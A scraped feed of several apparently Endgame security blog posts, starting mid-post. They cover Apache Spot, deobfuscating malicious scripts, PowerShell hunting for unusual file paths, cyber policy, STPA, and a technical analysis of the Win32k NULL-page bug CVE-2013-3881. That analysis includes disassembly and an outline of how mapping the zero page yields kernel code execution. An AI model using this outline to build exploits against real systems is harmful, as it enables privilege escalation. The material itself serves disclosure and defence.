Since then, Hadoop has become the core of nearly every major large-scale analytic solution, but it has yet to reach its full potential in security. To address this, last week Cloudera, Endgame and other contributors announced the acceptance of Apache Spot, a cyber analytics framework, into the Apache Software Foundation incubator. At the intersection of Hadoop and security, this new project aims to revolutionize security analytics.

“When you invent the ship, you also invent the shipwreck” - Paul Virilio

Back in 2008, the security industry was recovering from the Zeus trojan and unknowingly gearing up for a date with Conficker, a worm that would go on to infect upwards of 9 million devices across 190 countries. Simultaneously, government think tanks warned that web 2.0 social networks would facilitate the radicalization and recruitment of terrorists.

As a computer engineer in the US Intelligence Community, I was lucky enough to work on these large-scale problems. Problems that, at their core, require solutions capable of ingesting, storing, and analyzing massive amounts of data in order to discern good from bad.

Around this time, engineers at search engine companies were the only other teams working on internet-scale data problems. Inspired by Google’s MapReduce and File System papers, Doug Cutting and a team at Yahoo open sourced Apache Hadoop, a framework that made it possible to work with large data sets across inexpensive hardware. Upon its release in 2006, this project began democratizing large-scale data analysis and gained adoption across a variety of industries.

Seeing the promise of Hadoop, the Intelligence Community became an early adopter, as it needed to cost-effectively perform analysis at unprecedented scale.  In fact, they ultimately invested in Cloudera, the first company founded to make Hadoop enterprise ready.

Fast Forward to Today: Hadoop for Security

In 2016, forward-leaning security teams across industry and government are increasingly adopting Hadoop to complement their Security Incident and Event Management (SIEM) systems. There are a number of fundamental characteristics that make Hadoop attractive for this application:

  1. Scalability: Network devices, users, and security products emit a seemingly infinite flow of data.  Based on its distributed architecture, Hadoop provides a framework capable of dealing with the volume and velocity of this cross-enterprise data.
  2. Low Cost-per-Byte: Detection, incident response, and compliance use cases increasingly demand longer data retention windows.  Due to its use of commodity hardware and open source software, Hadoop achieves a scaling cost that is orders of magnitude lower than commercial alternatives.
  3. Flexibility: Starting with a single Apache project, the Hadoop family has grown into an ecosystem of thirty plus interrelated projects.  Providing a “zoo” of data storage, retrieval, ingest, processing, and analytic capabilities, the Hadoop family is designed to address various technical requirements from stream processing to low-latency in-memory analytics.

Unfortunately, many Hadoop-based security projects exceed budget and miss deadlines. To kick off a project, engineers have to write thousands of lines of code to ingest, integrate, store, and process disparate security data feeds. Additionally, the numerous ways of storing data (e.g., Accumulo, HBase, Cassandra, Kudu...) and processing it tees up a myriad of design decisions.  All of this distracts from the development and refinement of the innovative analytics our industry needs.

Apache Spot

Apache Spot is a new open source project designed to address this problem, and accelerate innovation and sharing within the security community. It provides an extensible turnkey solution for ingesting, processing, and analyzing data from security products and infrastructure. Hadoop has come a long way since its inception. Apache Spot opens the door for exciting security applications. Purpose-built for security, Spot does the heavy lifting, providing out-of-the-box connectors that automate the ingest and processing of relevant feeds. Through its open data models, customers and partners are able to share data and analytics across teams -  strengthening the broader community.

Endgame is proud to partner with Cloudera and Intel to accelerate the adoption of Apache Spot across customers and partners.  Our expertise in using machine learning to hunt for adversaries and deep knowledge of endpoint behavior will help Apache Spot become a prominent part of the Hadoop ecosystem. We’re excited to contribute to this open source project, and continue pushing the industry forward to solve the toughest security challenges.

To find out more about Apache Spot, check out the announcement from Cloudera and get involved.

 

 

 

Is Hadoop Ready for Security?

Lyndon K. Brown

Defeating the Latest Advances in Script Obfuscation

$
0
0

As the security research community develops newer and more sophisticated means for detecting and mitigating malware, malicious actors continue to look for ways to increase the size of their attack surface and utilize whatever means are necessary to bypass protections. The use of scripting languages by malicious actors, despite their varying range of limited access to native operating system functionality, has spiked in recent years due to their flexibility and straightforward use in many attack scenarios.

Scripts are frequently leveraged to detect a user’s operating system and browser environment configuration, or to extract or download a payload to disk. Malicious actors also may obfuscate their scripts to mask the intent of their code and circumvent detection, while also deterring future reverse engineering. As I presented at DerbyCon 6 Recharge, many common obfuscation techniques can be subverted and defeated. Although they seem confusing at first glance, there are a variety of techniques that help quickly deobfuscate scripts. In this post, I’ll cover the latest advances in script obfuscation and how they can be defeated. I’ll also provide some practical tips for quickly cleaning up convoluted code and transforming it into something human-readable and comprehensible.

Obfuscation

When discussing malicious scripts, obfuscation is a technique attackers use to purposefully obscure their source code. They do this primarily for two purposes: subverting antivirus and intrusion detection / prevention systems and deterring future reverse engineering efforts.

Obfuscation is typically employed via an automated obfuscator.  There are many to choose from, including the following freely available tools:

Since obfuscation does not alter the core functionality of a script (superfluous code may be added to further obscure a script’s purpose), would it be possible to simply utilize dynamic malware analysis methods to determine the script’s intended functionality and extract indicators of compromise (IOCs)? Unfortunately for analysts and researchers, it’s not quite that simple. While dynamic malware analysis methods may certainly be used as part of the process for analyzing more sophisticated scripts, deobfuscation and static analysis are needed to truly know the full extent of a script’s capabilities and may provide insight into determining its origin.

Tips for Getting Started

When beginning script deobfuscation, you should keep four goals in mind:

  1. Human-readability: Simplified, human-readable code should be the most obvious realized goal achieved through the deobfuscation process.
  2. Simplified code: The simpler and more readable the code is, the easier it will be to understand the script’s control flow and data flow.
  3. Understand control flow / data flow:  In order to be able to statically trace through a script and its potential paths of execution, a high level understanding of its control flow and data flow is needed.  
  4. Obtain context: Context pertaining to the purpose of the script and why it was utilized will likely be a byproduct of the first three goals.

Prior to starting the deobfuscation process, you should be sure you have the following:

  • Virtual machine
  • Fully-featured source code editor with syntax and function / variable highlighting
  • Language-specific debugger

It should also go without saying that familiarity with scripting languages is a prerequisite since you’re trying to (in most cases) understand how the code was intended to work without executing it. The following scripting language documentation will be particularly useful:

Online script testing frameworks provide a straightforward means for executing script excerpts. These frameworks can serve as a stepping-stone between statically evaluating code sections and setting up a full-fledged debugging session. The following frameworks are highly recommended:

Before you begin, it is important to know that there is no specific sequence of steps required to properly deobfuscate a script. Deobfuscation is a non-linear process that relies on your intuition and ability to detect patterns and evaluate code. So, you don’t have to force yourself to go from top to bottom or the perceived beginning of the control flow to the end of the control flow. You’ll simply want to deobfuscate code sections that your eyes gravitate towards and that are not overly convoluted. The more sections you’re initially able to break down, the easier the overall deobfuscation process will be.

Code uniformity is crucial to the deobfuscation process. As you’re deobfuscating and writing out your simplified version of the code, you’ll want to employ consistent coding conventions and indentation wherever possible. You’ll also want to standardize and simplify how function calls are written where possible and how variables are declared and defined. If you take ownership of the code and re-write it in a way that you easily understand, you'll quickly become more familiar with the code and may pick up on subtle nuances in the control or data flow that may otherwise be overlooked.

Also, as previously mentioned, simplify where possible. It can't be reiterated enough!

Obfuscation Techniques

Garbage Code

Obfuscators will sometimes throw in superfluous code sections. Certain variables and functions may be defined, but never referenced or called.  Some code sections may be executed, but ultimately have no effect on the overall operation of the script. Once discovered, these sections may be commented out or removed.

In the following example, several variables within the subroutine are defined and set to the value of an integer plus the string representation of an integer. These variables are not referenced elsewhere within the code, so they can be safely removed from the subroutine and not affect the result.

 

Complicated Names

Arguably the most common technique associated with obfuscation is the use of overly complicated variable and function names. Strings containing a combination of uppercase and lowercase letters, numbers, and symbols are difficult to look at and differentiate at first glance. These should be replaced with more descriptive and easier to digest names, reinforcing the human-readable goal. While you can use the find / replace function provided by your text editor, in this case you’ll need to be careful to avoid any issues when it comes to global versus local scope. Once you have a better understanding of the purpose of a function or a variable later on in the deobfuscation process, you can go back and update these names to something more informative like “post_request” or “decoding_loop.”

 

In the above example, each variable and function that is solely local in scope to the subroutine is renamed to a more straightforward label describing its creation or limitation in scope. Variables or function calls that are referenced without being declared / defined within the subroutine are left alone for the moment. These variables and functions will be handled individually at the global scope.   

Indirect Calls and Obscured Control Flow

Obscured control flow is usually not evident until much later in the deobfuscation process. You will generally look for ways to simplify function calls so they’re more direct. For instance, if you have one function that is called by three different functions, but each of the those functions transform the input in the exact same way and call the underlying function identically, then those three functions could be merged into one simple function. Function order can also come into play. If you think a more logical ordering of the functions that matches up with the control flow you are observing will help you better understand the code, then by all means rearrange the function order.

 

In this case, we have five subroutines. After these subroutines are defined, there is a single call to sub5. If you trace through the subroutines, the ultimate subroutine that is executed is sub2. Thus, any calls outside of this code section to any of these five subs will result in a call to sub2, which actually carries out an operation other than calling another subroutine. So, removing sub1, sub3, sub4, and sub5 and replacing any calls to those subs with a direct call to sub2 would be logically equivalent to the original code sequence.

Arithmetic Sequences

When it comes to hard-coded numeric values, obfuscators may employ simple arithmetic to thwart reverse engineers. Other than doing the actual math, it is important to research the exact behavior of the scripting language implementation of the mathematical functions.

 

In the line above, the result of eight double values which are added and subtracted to / from each other will pass into the ASCII character function. Upon further inspection, the obfuscator likely threw in the "86" values, as they ultimately cancel each other out and add up to zero. The remaining values add up to 38 which, when passed into the character function, results in an ampersand.

 

While the code section above may look quite intimidating, it is easily reduced down to one simple variable definition by the end of the deobfuscation process. The first line initializes an array of double values which is only referenced on the second line. The second line declares and sets a variable to the second value in the array. Since the array is not subsequently referenced, the array can be removed from the code. The variable from the second line is only used once in the third line, so its value can be directly placed inline with the rest of the code, thus allowing us to remove the second line from the code. The code further simplifies down as the Sgn function calls cancel each other and the absolute value function yields a positive integer, which will be subtracted from the integer value previously defined in the variable from the second line.

Obfuscated String Values

As for obfuscated string values, you’ll want to simplify the use of any ASCII character functions, eliminate any obvious null strings, and then standardize how strings are concatenated and merge together any substrings where possible.

This line of code primarily relies on the StrReverse VBA function which, you guessed it, reverses a string. The null strings are removed right off the bat since they serve no purpose. Once the string is reversed and appended to the initial “c” string, we’re left with code which invokes a command shell to run the command represented by the variable and terminate itself.

 

A common technique employed in malicious VBA macros is dropping and invoking scripts in other scripting languages. The macro in this case builds a Windows batch file, which will later be executed. While it is quite evident that a batch file is being constructed, the exact purpose of the file is initially unclear.

 

If we carry out string concatenations, eliminate null strings, and resolve ASCII characters, we can see that the batch file is used to invoke a separate VBScript file located in a subdirectory of the current user’s temp directory.

Advanced Cases

Okay, so you tried everything and your script is still obfuscated and you have no idea what else to do…

Well, in this case you’ll want to utilize a debugger and start doing some more dynamic analysis. Our goal in this case is to circumvent the obfuscation and seek out any silver bullets in the form of eval functions or string decoding routines. Going back to the ”resolve what you can first” approach, you also might want to start out by commenting out code sections to restrict program execution. Sidestepping C2 and download functions with the aid of a debugger may also be necessary.

 

If you follow the function that is highlighted in green in the above example, you can see that it is referred to several times. It takes as input one hexadecimal string and one alphanumeric string with varying letter cases, and returns a value. Based off of the context in which the function is called (as part of a native scripting language function call in most cases), the returned value is presumed to be a string. Thus, we can hypothesize that this function is a string decoding routine. Since we are using a debugger, we don’t need to manually perform the decoding or reverse engineer all of its inner workings. We can simply set breakpoints before the function is called and prior to the function being returned in order to resolve what the decoded strings are. Once we resolve the decoded strings, we can replace them inline with the code or place them as inline comments as I did in the sample code.

Conclusion

Script deobfuscation doesn't require any overly sophisticated tools. Your end result should be simple, human-readable code that is logically equivalent to the original obfuscated script. As part of the process, rely on your intuition to guide you, and resolve smaller sections of code in order to derive context to how they’re used. When provided the opportunity, removing unnecessary code and simplifying code sections can help to make the overall script much more readable and easier to comprehend. Finally, be sure to consult the official scripting language documentation when needed. These simple yet effective tips should provide a range of techniques next time you encounter obfuscated code.  Good luck!

Defeating the Latest Advances in Script Obfuscation

Mark Mager

How to Hunt: The [File] Path Less Traveled

$
0
0

As any good hunter knows, one of the first quick-win indicators to look for is malware within designated download or temp folders. When users are targeted via spear phishing or browser based attacks, malware will often be initially staged and executed from those folders because they are usually accessible to non-privileged processes. In comparison, legitimate software rarely runs from, and even more rarely persists from, these locations. Consequently, collecting and analyzing file paths for outliers provides a signature-less way to detect suspicious artifacts in the environment.

In this post, we focus on the power of file paths in hunting. Just as our earlier post on COM Hijacking demonstrated the value of the ATT&CKTM framework for building defensive postures, this piece addresses another branch of the persistence framework and illustrates the efficacy of hunting for uncommon file paths. This method has proven effective time and time again in catching cyber criminals and nation state actors alike early in their exploitation process.

Hunting for Uncommon Paths: The Cheap Approach

In past posts, we highlighted some free approaches for hunting to include passive DNS, DNS anomaly detection, and persistence techniques. Surveying file locations on disk is another cost effective approach for your team. The method is straightforward: simply inspect running process paths or persistent file locations and then look through the data for locations where attackers tend to install their first-stage malware. For an initial list of such locations, Microsoft’s Malware Protection Center provides a good list of common folders where malware authors commonly write files.

Your hunt should focus on files either running or persisting within temp folders, such as %TEMP%, %APPDATA%, %LOCALAPPDATA%, and even extending to %USERPROFILE%, but first you need to collect the appropriate data. To gather persistence data with freely available tools, you can use Microsoft’s SysInternals Autoruns to discover those persistent files and extract their paths. For detailed running process lists, there are many tools available, but we recommend utilizing PowerShell via the Get-Process cmdlet.

Some popular commands include:

  • “Get-Process | Select -Property name, path”: To list current processes and their path.
  • “Get-Process | Select -Property path | Select-String C:\\Users”: In this case we filter for running processes from a user’s path. Like grep, utilize Select-String to filter results.
  • “Get-Process | Group-Object -Property path | Sort count | Select count, name”: For the number of occurrences, group objects.

Expanding your hunt beyond just temp folders can also be beneficial, but legitimate processes will be running from %SystemRoot% or %ProgramFiles%. Because of this, outlier analysis will be effective and assist your hunt. Simply aggregate the results from your running process or persistent surveys across your environment, then perform frequency analysis to find the least occurring samples.

The Noise Dilemma

As you may have guessed, anomalous items uncovered with this approach to hunting does not necessarily mean they were suspicious. Users can install applications locally in uncommon locations, adding benign results to your hunt. Experienced hunters know that noise is always going to be part of many hunt analytics, and the art is in discerning the artifacts that are most likely to be malicious and should thus be focused on first.

There are many ways to triage and filter results, but here are a few examples.

  • You can utilize authenticode by filtering out executables that are legitimately signed by well-known signers or by signers you might expect in your environment. Unsigned code out of an odd location might be especially unusual and worth inspecting.
  • If you have a known-good, baseline image of your environment, you can use hash lookups to weed out any applications which were not approved for installation.
  • You may want to ignore folders protected by User Account Controls (UAC). In a well-configured environment, a standard user is not allowed to write to a secure directory, such as %SystemRoot% and some directories under %ProgramFiles%. Filtering out items executing from there can reduce the data set. It’s worth mentioning that you are assuming administrative credentials weren’t harvested and UAC wasn’t bypassed.
  • Once you’ve filtered data out, especially if you are left with many suspicious files, you may want to submit files for malware scans (e.g. VirusTotal). At Endgame, we prioritize based on the MalwareScore™ of the file, our proprietary signature-less malware detection engine. The higher the score, the more likely it is that the file is malicious.

You may come up with many other ways to filter and reduce the data based on your specific knowledge of your environment. As always, your analysis of the hunt data and subsequent analytics should be driven by environmental norms, meaning that if you observe something uncommon to your system configurations, it’s worth investigating.

How Endgame Detects

At Endgame, we facilitate one-click collection of processes and persistence locations to allow for rapid anomaly and suspicious behavior detection. Our platform examines each endpoint within your network and can prevent, alert, or hunt for malicious behavior at scale. The following video shows a simple PowerShell-based approach to collection and stacking, and then shows the Endgame platform enumerating and enriching data in seconds to bubble suspicious artifacts to the top with the uncommon path technique.

 

 

 

Conclusion

There are many very effective ways to hunt for suspicious artifacts across your systems. Hunting for files executing or persisting out of strange paths can be effective in many environments. We’ve discussed some free ways to make this happen, and shown you how this can be done with the Endgame platform, highlighting malicious activity with ease. Layering this hunt approach with other analytics in your hunt operations will allow you to find intrusions quickly and do what every hunter wants to do: close the gap between breach and discovery to limit damage and loss.

How to Hunt: The [File] Path Less Traveled

Paul Ewing

It's Time for Cyber Policy to Leapfrog to the Digital Age

$
0
0

InRise of the Machines, Thomas Rid details the first major digital data breach against the US government. The spy campaign began on October 7, 1996, and was later dubbed Moonlight Maze. This operation exfiltrated data that, if stacked, would exceed the height of the Washington Monument.  Once news of the operation was made public, Newsweek cited Pentagon officials as clearly stating it was, "a state-sponsored Russian intelligence effort to get U.S. technology".  That is, the US government publicly attributed a data breach aimed at stealing vast amounts of military and other technology trade secrets.  

Fast-forward twenty years, and on October 7, 2016, ODNI and DHS issued a joint statement noting, “The U.S. Intelligence Community (USIC) is confident that the Russian Government directed the recent compromises of e-mails from US persons and institutions, including from US political organizations.” It’s been twenty years, and our policies have not yet evolved, leaving adversaries virtual carte blanche to steal intellectual property, classified military information, and personally identifiable information. They’re able to conduct extensive reconnaissance into our critical infrastructure, and hack for real-world political impact without recourse. This recent attribution to Russia, which cuts at the heart of democratic institutions, must be a game-changer that finally instigates the modernization of policy as it pertains to the digital domain.

Despite the growing scale and scope of digital attacks, with each new record-breaking breach dwarfing previous intrusions, this is only the fourth time in recent years that the US government has publicly attributed a major breach. Previous public attribution resulted in the indictment of five People’s Liberation Army officials, economic sanctions against North Korea following the Sony breach and earlier this year the indictment of seven Iranians linked to attacks on banks and a New York dam. As breach after breach occurs, those in both the public and private sectors are demanding greater capabilities in defending against these attacks.

Unfortunately, much of the cyber policy discussion continues to rely upon frameworks from decades, if not centuries, ago and is ill equipped for the digital era. For instance, Cold War frameworks may provide a useful starting point, but nuclear deterrence and cyber deterrence differ enormously in the core features of Cold War deterrence – numbers of actors, signaling, attribution, credible commitments, and so forth. Unfortunately, even among those highest ranking government officials there continues to be comparisons between nuclear and cyber deterrence, and so we continue to rely upon an outdated framework that has little relevance for the digital domain.

Some prefer to look back not decades, but centuries and point to Letters of Marque and Reprisal as the proper framework for the digital era. Created at a time to legally empower private companies to take back property that was stolen from them, they are beginning to gain greater attention as ‘hacking back’ also grows in popularity in the discourse. Nevertheless, there’s a reason Letters of Marque and Reprisal no longer exist. They fell out of favor, largely because of their escalatory effect on international conflict, during an era that didn’t even come close to the scope and scale of today’s digital attacks, or the interconnectivity of people, money and technologies. Similarly, technical challenges further complicate retaking stolen property.  Adversaries can easily make multiple copies of the stolen data and use misdirection, obfuscation, and short-lived command and control infrastructure.   This confounds the situation and heightens the risk of misguided retaliation.

So where does this leave us? The Computer Fraud and Abuse Act (CFAA) from 1986 remains the core law for prosecuting illegal intrusions. Unfortunately, just like the Wassenaar Arrangement and definitions of cyber war, the CFAA is so vaguely worded that it risks both judicial over-reach as well circumvention.  This year’s Presidential Policy Directive 41 is essential and helps incident response but has no deterrent effect. In contrast, Executive Order 13694 in 2015, which basically sanctions people engaging in malicious cyber activity, is a start.  It clearly signals the exact repercussions of an attack, but has yet to be implemented, and thus lacks the deterrent effect. 

Similar steps must be taken to further specify the options available and that will be enacted in response to the range of digital intrusions. Too often it is assumed that a cyber tit for tat is the only viable option. That is extremely myopic, as the US has the entire range of statecraft available, including (but not limited to) cutting diplomatic ties, sanctions, indictments and, at the extreme, the military use of force. The use of each of these must be predicated on the target attacked, the consequences of that attack, as well as the larger geopolitical context.

Clearly, it is time for our policies to catch up with modern realities, and move beyond decades of little to no recourse for adversaries. This must be a high priority, as it affects the US as well as our allies. Last year’s attack on the French TV network, TV5Monde, came within hours of destroying the entire network. The attacks on a German steel mill, which caused massive physical damage, as well as the Warsaw Stock Exchange, not to mention the attacks on the White House, State Department and Joint Staff unclassified emails systems, have also been linked to Russia.

The world has experienced change at a more rapid pace arguably than any other time in history, largely driven by the dramatic pace of technological change. At the same time, our cyber policies have stagnated, leaving us unprepared to effectively counter the digital attacks that have been ongoing for decades. Given both the domestic and global implications, the US must step forward and offer explicit policy that clearly states the implications of a given attack, including consideration of targets, impacts of the attack, and the range of retaliatory responses at our disposal.

To be fair, balancing between having a retaliatory deterrent effect and minimizing escalation is extremely difficult, but we haven’t even really begun those discussions. Absent this discourse and greater legal and policy clarity, the intrusions will continue unabated. At the same time, many in the private sector will continue to debate the merits of a hacking back framework that has serious escalatory risks, and likely is ineffective.  The next few weeks are extremely important, as the Obama administration weighs the current range of options that cut across diplomatic, information, military and economic statecraft. Hopefully we’ll see a rise in discourse and concrete steps that begin to address viable deterrent options, and signal the implications of digital attacks that have hit our economy, our government, and now a core foundation of our democracy.

 

*Note: This post was updated on 10/12/2016 to also include the indictment against seven Iranians.

 

It's Time for Cyber Policy to Leapfrog to the Digital Age

Andrea Little Limbago

The Hard Thing About Safe Things

$
0
0

Information security needs a more accurate metaphor to represent the systems we secure. Invoking castles, fortresses and safes implies a single, at best layered, attack surface for security experts to strengthen. This fortified barrier mindset has led to the crunchy on the outside, and soft chewy center decried by those same experts. Instead of this candyshell, a method from safety engineering - System Theoretic Process Analysis -  provides a way to deal with the complexity of the real world systems we build and protect.

 

A Brief Background on STPA

Occasionally referred to as Stuff That Prevents Accidents, System Theoretic Process Analysis (STPA) was originally conceived to help design safer spacecraft and factories. STPA is a toolbox for securing systems which allows the analyst to efficiently find vulnerabilities and the optimal means to fix them. STPA builds upon systems theory, providing the flexibility to choose the levels of abstraction appropriate to the problem.  Nancy Leveson’s book, Engineering a Safer World, details how the analysis of such systems of systems can be done in an orderly manner, leaving no possible failure unexamined. Because it focuses on the interaction within and across systems, it can be applied far outside the scope of software, hardware and network topologies to also include the humans operating the systems and their organizational structure. With STPA, improper user action, like clicking through a phishing email, can be included in the analysis of the system as much as vulnerable code.

 

Benefits of STPA

At its core, STPA provides a safety first approach to security engineering. It encourages analysts to diagram and depict a specific process or tool, manifesting potential hazards and vulnerabilities that otherwise may not be noticed in the daily push toward production and deadlines. There are several key benefits to STPA, described below.

Simplicity

Diagrammatically, the two core pieces of system theory are the box as a system and the arrow as a directional connection for actions. There is no dogmatic view of what things must be called.  Just draw boxes and arrows to start, and if you need to break it down, draw more or zoom into a box.  The exhaustive analysis works on the actions through labels and the systems’ responses.  The networked system of systems can be approached one connection at a time. Unmanageable cascading failure becomes steps of simultaneous states. Research has shown that this part of STPA can be done programmatically with truth tables and logic solvers. The diagram below illustrates a simple framework and good starting point for building out the key components of a system and their interdependencies.

Completeness

The diagram of systems and their interconnections allows you to exhaustively check the possible hazards that could be triggered by actions.  Human interactions are modeled the same way as other system interactions, allowing for rogue operators to be modeled as well as attackers. This is an especially useful distinction for infosec, which often fails to integrate the insider threat element or human vulnerabilities into the security posture. As you see below, the user is an interconnected component within a more exhaustive depiction of the system, which can be useful to extensively evaluate vulnerabilities and hazards.

Clear Prioritization

Engineering a Safer World - and STPA more broadly - urges practitioners and organizations to step back and assess one thing: What can I not accept losing?  In infosec, for example, loss could mean exfiltrated, maliciously encrypted or deleted data or a system failure leading to downtime. During system design, if the contents of a box can be lost acceptably without harming the boxes connected to it, you don’t have to analyze it. An alternative method is to estimate the likelihood of possible accidents and assign probabilities to risks. Analyzing these probabilities of accidents instead makes it more likely that low likelihood problems will be deprioritized in order to handle the higher likelihood and seemingly more impactful events.  But, since the probabilities of failure for new, untested designs can’t be trusted, the resulting triage is meaningless. Instead, treating all losses as either unacceptable or acceptable forces analysts to treat all negative events seriously regardless of likelihood. Black Swan events that seemed unlikely have taken down many critical systems from Deepwater Horizon to Fukushima Daiichi. Treating unacceptable loss as the only factor, not probability of loss, may seem unscientific, but it produces a safer system.  As a corollary, the more acceptable loss you can build into your systems, the more resilient they will be. Building out a system varies depending on each use case. In some cases, a simple diagram is sufficient, while in others, a more exhaustive framework is required. Depending on your specific situation, you could arrive at a system diagram that falls in between those extremes, and clearly prioritizes components based on acceptable loss, as the diagram depicts below.

Resilience

Still accidents happen and we must then recover.  Working on accident investigation teams, Dr. Leveson found that the rush to place blame hindered efforts to repair the conditions that made the accident possible.  Instead, STPA focuses the investigation on the connected systems, making the chain of cause and effect into more of a structural web of causation. To blame the user for clicking on a malicious link and say you’ve found the root cause of their infection ignores the fact that users click on links in email as part of their job. The solutions to such problems require more than a blame, educate, blame cycle. We must look at the whole system of defenses from their OS, to their browser, to their firewall. No longer artificially constrained to simply checking off the root cause, responders can address the systemic issues, making the whole structure more resilient.

 

Challenges with STPA

Although designed for safety, STPA has been recently expanded to security and privacy. Colonel William E. Young, Jr created STPA-Sec in order to directly apply STPA to the military needs to survive attack. Stuart Shapiro, Julie Snyder and others at MITRE have worked on STPA-Priv for privacy related issues. Designing safe systems from the ground up, or analyzing existing systems, using STPA requires first defining unacceptable loss and working outwards.While there are clear operational benefits, STPA does come with some challenges.

Time Constraints

STPA is the fastest way to perform a full systems analysis, but who has the luxury of a full system analysis when half the system isn’t built yet and the other half is midway through an agile redesign? It may be difficult to work as cartographer, archeologist and safety analyst when you have other work to get done. Also, who has the time to read Engineering a Safer World? To address the time constraint, I recommend the STPA Primer.  When time can be found, the scope of a project design and the analysis to be done may look like a never-ending task.  If a project has 20 services, 8 external API hits and 3 user types the vital systems can be whittled down to perhaps 4 services and 1 user type, simply by defining unacceptable loss properly.  Then, within those systems, subdivide out the hazardous from the harmless.  Now the system under analysis only contains the components and connections relevant to failure and unacceptable loss. While there may be a somewhat steep learning curve, once you get a hang of it, STPA can save time and resources, while baking in safe engineering practices.

Too Academic

STPA may be cursed by an acronym and a wordiness that hides the relative simplicity beneath.  The methodology may seem too academic at first, but it has been used in the real world from Nissan to NASA. I urge folks to play around with the concepts which stretch beyond this cursory introduction. Getting buy-in doesn’t require shouting the fun-killing SAFETY word and handing out hard hats.  It can be as simple as jumping to a whiteboard while folks are designing a system and encouraging a discussion of the inputs and outputs to that single service systematically.  I bet a lot of folks inherently do that already, but STPA provides a framework to do this exhaustively for full systems if you want to go all the way.

 

From Theory to Implementation: Cybersecurity and STPA

STPA grew from the change in classically mechanical or electromechanical systems like plants, cars and rockets as they became computer controlled. The layout in analog systems was often laid bare to the naked eye in gears or wires, but these easy to trace systems became computerized. The hidden complexity of digital sensors and actuators was missed by the standard chain of events models.  What was once a physical problem, now had an additional web of code, wires, and people that could interact in unforeseen ways.

Cybersecurity epitomizes the complexity and systems of systems approach ideal for STPA. If we aren’t willing to methodically explore our systems piece by piece to find vulnerabilities, there is an attacker who will.  However, such rigor rarely goes into software development planning or quality assurance. This contributes to the assumed insecurity of hosts, servers, and networks and the “Assume Compromise” starting point which we operate from at Endgame. Secure software systems outside of the lab continue to be a fantasy. Instead defenders must continually face the challenge of detecting and eradicating determined adversaries who break into brittle networks. STPA will help people design the systems of the future, but for now we must secure the systems we have.

 

 

The Hard Thing About Safe Things

Rich Seymour

Endgame Participates in Tough Mudder Benefitting Wounded Warrior Project

$
0
0

On April 20, over thirty Endgame employees, family members and friends participated in the Mid-Atlantic Spring 2013 Tough Mudder, supporting the Wounded Warrior Project. Funds raised for the Wounded Warrior Project go towards providing combat stress recovery programs, adaptive sports programs, benefits counseling, employment services and many other critical programs. Endgame is proud to support this important organization and give back to the thousands of Americans returning from the battlefield.

Microsoft Win32k NULL Page Vulnerability Technical Analysis

$
0
0

Endgame has discovered and disclosed to Microsoft the Win32 NULL Page Vulnerability (CVE-2013-3881), which has been fixed in Microsoft’s October Security Bulletin, released October 8, 2013. The vulnerability was the result of insufficient pointer validation in a kernel function that handles popup menus. Successfully exploiting this vulnerability would allow an attacker with unprivileged access to a Windows 7 or Server 2008 R2 system to gain access to the Windows kernel, thereby rendering user account controls useless.

 

Affected Versions

In previous versions of Windows, including XP, Server 2003, Vista, and Server 2008 R1, Microsoft actually included code that adequately verified the pointer in question. However, in Windows 7 (and Server 2008 R2), that check was removed, leading to the exploitable condition.

If the product line ended there, it would be easy to imagine that this was an inadvertent removal of what a developer mistakenly thought was a redundant check and to give it little additional thought. However, in the initial release of Windows 8 (August 2012), the pointer validation had been put back in place, long before we reported the bug to Microsoft. We would assume that when a significant security issue comes to light, Microsoft would simultaneously fix it across all affected products. Unless the Windows 8 win32k.sys code was forked from a pre-Windows 7 base, this bug was fixed upstream by Microsoft prior to our disclosure. This is purely speculative, but if our previous supposition is true, they either inadvertently fixed the bug, or recognized the bug and purposely fixed it, but failed to understand the security problem it created.

 

Mitigation

The good news for Windows users is that Microsoft does have a realistic approach to dealing with vulnerabilities, which resulted in some protection even prior to the release of this patch. One of the simplest security features (at least in concept, if not in implementation) that Microsoft introduced in Windows 8 was to prohibit user applications from mapping memory at virtual address zero. This technique takes the entire class of null-pointer-dereference kernel bugs out of the potential-system-compromise category and moves them into the relatively benign category of user-experience/denial-of-service problems. When Microsoft back-ported this protection to Windows 7, they eliminated the opportunity to exploit this bug on 64-bit systems. This illustrates how the conventional wisdom that “an ounce of prevention is worth a pound of cure” can be turned on its ear in the world of software vulnerabilities. Microsoft will undoubtedly be fixing null pointer dereferences in their products for as long as they support them. However, by applying a relatively inexpensive “cure”, they have limited the consequences of the problems that they will spend years trying to “prevent”.

 

Impact

Part of what makes this type of vulnerability so valuable to attackers is the proliferation of sandbox technologies in popular client-side applications. We have confirmed that this vulnerability can be exploited from within several client-side applications’ sandboxes, including Google Chrome and Adobe Reader, and from Internet Explorer’s protected mode. On the surface, that sounds like bad news. On the other hand, we would not have even considered that question if these mitigation technologies were not making it more difficult for attackers to compromise systems. In order to completely own a target via one of those applications, an attacker must have a vulnerability that leads to code execution, another that allows them to leak memory so as to defeat Microsoft’s memory randomization feature, and finally, a vulnerability like the one described here that allows them to escape the hobbled process belonging to the initial target application.

 

Technical Details

When an application displays a popup or context menu, it must call user32!TrackPopupMenu or user32!TrackPopupMenuEx in order to capture the action that the user takes relative to that menu. This function eventually leads to the xxxTrackPopupMenuEx function in win32k.sys. Since it is unusual to simultaneously display multiple context menus, there is a global MenuState object within win32k.sys that is ordinarily used to track the menu. However, since it is possible to display multiple context menus, if the global MenuState object is in use, xxxTrackPopupMenuEx attempts to create another MenuState object with a call to xxxMNAllocMenuState. xxxTrackPopupMenuEx saves the result of this allocation attempt and checks to ensure that the result was not 0, as seen in the most recent unpatched 64-bit Windows 7 version of win32k.sys (6.1.7601.18233):

xxxTrackPopupMenuEx+364 call  xxxMNAllocMenuState

xxxTrackPopupMenuEx+369 mov   r15, rax

xxxTrackPopupMenuEx+36C test  rax, rax

xxxTrackPopupMenuEx+36F jnz   short alloc_success

xxxTrackPopupMenuEx+371 bts   esi, 7

xxxTrackPopupMenuEx+375 jmp   clean_up

 

In the event that the allocation fails, the function skips to its cleanup routine, which under normal circumstances will cause a BSOD when the function attempts to dereference unallocated memory at r15+8:

xxxTrackPopupMenuEx+9BA clean_up:   ; CODE XREF:

xxxTrackPopupMenuEx+375j

xxxTrackPopupMenuEx+9BA bt    dword ptr [r15+8], 8

 

However, if we can allocate and correctly initialize the memory mapped at address zero for the process, we can reliably gain arbitrary code execution when the function passes the invalid MenuState pointer to xxxMNEndMenuState.

xxxTrackPopupMenuEx+A76 mov rcx, r15 ;pMenuState

xxxTrackPopupMenuEx+A79 call  xxxMNEndMenuState

 

